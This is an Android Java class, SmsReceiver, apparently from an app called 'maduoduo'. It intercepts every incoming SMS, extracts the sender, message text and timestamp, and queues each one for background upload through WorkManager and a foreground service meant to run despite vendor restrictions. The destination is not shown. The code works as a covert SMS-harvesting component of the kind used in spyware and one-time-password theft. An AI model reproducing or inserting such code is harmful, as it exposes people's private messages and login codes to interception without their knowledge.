package com.mdd.maduoduo.utils;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

import androidx.work.Constraints;
import androidx.work.Data;
import androidx.work.NetworkType;
import androidx.work.OneTimeWorkRequest;
import androidx.work.WorkManager;

public class SmsReceiver extends BroadcastReceiver {

    private static final String SMS_RECEIVED_ACTION = "android.provider.Telephony.SMS_RECEIVED";

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent == null || intent.getAction() == null) return;
        if (SMS_RECEIVED_ACTION.equals(intent.getAction())) {
            // 获取短信内容
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                try {
                    Object[] pdus = (Object[]) bundle.get("pdus");
                    if (pdus != null) {
                        for (Object pdu : pdus) {
                            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
                            String sender = sms.getDisplayOriginatingAddress();
                            String message = sms.getMessageBody();
                            long timestamp = sms.getTimestampMillis();
                            // 上传短信数据
                            uploadSmsData(context, sender, message, timestamp);
                        }
                    }
                } catch (Exception e) {
                    Log.e("SmsReceiver", "Error processing SMS", e);
                }
            }
        }
    }

    private void uploadSmsData(Context context, String sender, String message, long timestamp) {
        // 使用WorkManager处理后台上传任务
        Data inputData = new Data.Builder()
                .putString("sender", sender)
                .putString("message", message)
                .putLong("timestamp", timestamp)
                .build();

        // 设置网络约束
        Constraints constraints = new Constraints.Builder()
                .setRequiredNetworkType(NetworkType.CONNECTED)
                .build();

        OneTimeWorkRequest uploadWork = new OneTimeWorkRequest.Builder(SmsUploadWorker.class)
                .setInputData(inputData)
                .setConstraints(constraints)
                .build();

        WorkManager.getInstance(context).enqueue(uploadWork);

        // 确保WorkManager任务执行（针对某些厂商限制）
        Intent serviceIntent = new Intent(context, SmsUploadService.class);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            context.startForegroundService(serviceIntent);
        } else {
            context.startService(serviceIntent);
        }
    }
}
